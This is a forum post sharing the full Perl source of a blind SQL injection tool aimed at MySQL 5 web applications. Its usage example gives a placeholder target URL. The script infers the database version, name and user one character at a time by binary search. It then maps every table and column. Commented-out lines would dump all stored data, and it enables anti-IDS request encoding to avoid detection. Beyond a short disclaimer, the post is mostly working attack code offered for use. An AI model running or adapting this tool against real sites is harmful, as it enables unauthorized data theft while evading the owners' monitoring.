Jump to content
denjacker

[Perl] MySql 5 Enumeration Tool

Recommended Posts

Posted

Info: This script uses blind SQL injection and boolean enumeration to perform INFORMATION_SCHEMA Mapping.

The syntax of this script is:

 perl mysql5enum.pl -h [hostname] -u [url] [-q [query]]

Example:

 perl mysql5enum.pl -h www.target.tld -u http://www.target.tld/vuln.ext?input=24 -q "select system_user()"

Description

  • By default, this script will first determine username, version and database name before enumerating the information_schema information.
  • When the -q flag is applied, a user can supply any query that returns only a single cell
  • If the exploit or vulnerability requires a single quote, simply tack %27 to the end of the URI.
  • This script contains error detection : It will only work on a mysql 5.x database, and knows when its queries have syntax errors.
  • This script uses perl's LibWhisker2 for IDS Evasion (The same as Nikto).
  • This script uses the MD5 algorithm for optimization. There are other optimization methods, and this may not work on all sites.

Disclaimer

Warning: The end-user is liable for his-or her own actions with the use of this software. Running this against a system you do not own without written authorization is a criminal act.

Source


#!/usr/bin/perl
use strict;
use Getopt::Std;
use Digest::MD5 qw(md5_hex);
use LW2;

my %options = ();
getopts("u:h:q:", \%options);

my $url = $options{u}; # Vuln URL
my $host = $options{h}; # Needs this for libwhisker
# Format.
my $count = 0;

if (my $q = $opts{q}) {
$q =~ s/\ /%20/g;
my ($cxr, $result) = runQuery($url,$host,$q);
print "Query Result:\n\t$result\nCalculated in $cxr requests.\n";
exit(1);
}

# Get the Database Version
my $query = "SELECT%20VERSION()";
my ($tmp, $version) = runQuery($url, $host, $query);
$count += $tmp;
$count += 2;
print "\nDatabase Version:\t\t$version\nIn $count requests.\n\n";

# Get the Database Name
$query = "SELECT%20DATABASE()";
my ($tmp,$answer) = runQuery($url, $host, $query);
print "Database Name:\t\t$answer\nIn $tmp requests.\n\n";

# Get the Database Username
$query = "SELECT%20USER()";
my ($tmp,$answer) = runQuery($url, $host, $query);
print "Database User:\t\t$answer\nIn $tmp requests.\n\n";


if ($version =~ /5\./g)
{
print "Enumerating Database Spec:\n";
getSchema($url,$host);
exit(1);
} else {
print "This is not MySQL v5.x, so I can't enumerate the schema tables!\n";
exit(1);
}

sub getSchema
{
my $url = shift;
my $host = shift;
my $query = "SELECT COUNT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(SELECT DATABASE())";
$query =~ s/ /%20/g;

my ($c, $val) = runQuery($url,$host,$query);
# $val = number of table names in the current database.
for (my $i=0; $i < int($val); ++$i)
{
$query = "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(SELECT DATABASE()) LIMIT $i,1";
$query =~ s/ /%20/g;

my ($q, $table) = runQuery($url,$host,$query);
print "$table:\n";
# $table = table name
$query = "SELECT COUNT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=";
$query .= "(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=";
$query .= "(SELECT DATABASE()) LIMIT $i,1)";
$query =~ s/ /%20/g;

my ($r, $fcount) = runQuery($url,$host,$query);
# $fcount - number of columns in the table
for (my $n = 0; $n < int($fcount); ++$n)
{
$query = "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=";
$query .= "(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=";
$query .= "(SELECT DATABASE()) LIMIT $i,1) LIMIT $n,1";
$query =~ s/ /%20/g;
my ($o, $field) = runQuery($url,$host,$query);
print "\t$field\n";

# Uncomment the lines below to
# scrape the entire database.
# $query = "SELECT COUNT($field) FROM $table";
# $query =~ s/ /%20/g;
# my ($r, $total) = runQuery($url,$host,$query);
# for (my $cn = 0; $cn < $total; $cn++)
# {
# $query = "SELECT $field FROM $table LIMIT $cn,1";
# $query =~ s/ /%20/g;
# my ($e, $data) = runQuery($url,$host,$query);
# print "\t\t$data\n";
# }
}
}
}

sub runQuery
{
my $url = shift;
my $host = shift;
my $query = shift;

my $qCount;
my $qCH;

my $pos = 1;
my $floor = 0; # Bottom of ascii keyrange
my $ceiling = 255; # Top of ascii keyrange

my $spacer = "%20OR%20";
my $truth = "62=62/*";
my $lie = "88=98/*";

my ($true, $false) = makeTrueFalse($url, $spacer, $truth, $lie, $host);
my $lenUri = "$url" . queryConstruct(0, 0, $spacer, $query);
my ($qCH, $len) = getValue($lenUri, 64, 0, $true, $false, $host);
$qCount += $qCH;
my $results = "";
while (($pos < $len) || ($pos eq $len))
{
my $uri = "$url" . queryConstruct(1, $pos, $spacer, $query); #construct the actual URI
my ($qCH, $value) = getValue($uri, $ceiling, $floor, $true, $false, $host);
$qCount += $qCH;
my $char = chr("$value");
$results .= $char;
++$pos;
}
return ($qCount, $results);
}

#Logrithm
sub getValue
{
my $uri = shift;
my $ceiling = shift;
my $floor = shift;
my $true = shift;
my $false = shift;
my $host = shift;

my $nextmaybe;
my $target;
my $qCount = 0;

my $maybe = int($ceiling/2); # Get the middle of the total possible range of values

while (not defined $target) {
if (isGT($uri, $maybe, $host) eq $true)
{
++$qCount;
$floor = $maybe;
$nextmaybe = int($maybe + (($ceiling - $floor)/2));
} elsif (isLT($uri, $maybe, $host) eq $true)
{
++$qCount;
$ceiling = $maybe;
$nextmaybe = int($maybe - (($ceiling - $floor)/2));
} elsif (isEQ($uri, $maybe, $host) eq $true)
{
++$qCount;
$target = $maybe;
return ($qCount, $target);
}
$maybe = $nextmaybe;
if (($maybe eq "") || (!$maybe) || (not defined $maybe))
{
print "SQL Error caught! Aborting!\n";
print "At least 3 queries in error log!\n";
exit(1);
}
}
}

# Is greater than?
sub isGT
{
my $uri = shift;
my $guess = shift;
my $host = shift;
return (md5_hex(download("$uri>$guess)/*", $host)));
}

# Is less than?
sub isLT
{
my $uri = shift;
my $guess = shift;
my $host = shift;
return (md5_hex(download("$uri<$guess)/*", $host)));
}

# Is equal to?
sub isEQ
{
my $uri = shift;
my $guess = shift;
my $host = shift;
return (md5_hex(download("$uri=$guess)/*", $host)));
}

# Ripped off from an older version of the scanner
sub download
{
my $uri = shift;
my $try = 5;
my $host = shift;
my %request;
my %response;
LW2::http_init_request(\%request);
$request{'whisker'}->{'method'} = "GET";
$request{'whisker'}->{'host'} = $host;
$request{'whisker'}->{'uri'} = $uri;
$request{'whisker'}->{'encode_anti_ids'} = 962;
$request{'whisker'}->{'user-agent'} = "wget";
LW2::http_fixup_request(\%request);
if(LW2::http_do_request(\%request, \%response)) {
if($try < 5) {
print "Failed to fetch $uri on try $try. Retrying...\n";
return undef if(!download($uri, $try++));
}
print "Failed to fetch $uri.\n";
return undef;
} else {
return ($response{'whisker'}->{'data'}, $response{'whisker'}->{'data'});
}
}

sub queryConstruct
{
my $type = shift;
my $pos = shift;
my $spacer = shift;
my $query = shift;

if ($type eq 0) # Len
{
my $newQuery = "LENGTH(($query))";
my $padding = "(";
my $ender = "";
return ("$spacer$padding$newQuery$ender");
} elsif ($type eq 1) # String
{
my $padding = "((ASCII((LOWER((MID(("; # Begin query construct
my $ender = "),$pos,1))))))"; # End query Construct
return ("$spacer$padding$query$ender"); #construct the actual query
}
}

sub makeTrueFalse
{
my $url = shift;
my $spacer = shift;
my $truth = shift;
my $lie = shift;
my $host = shift;
my $trueMD = md5_hex(download("$url$spacer$truth", $host));
my $falsMD = md5_hex(download("$url$spacer$lie", $host));

# returns true, false
return ($trueMD, $falsMD);
}

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...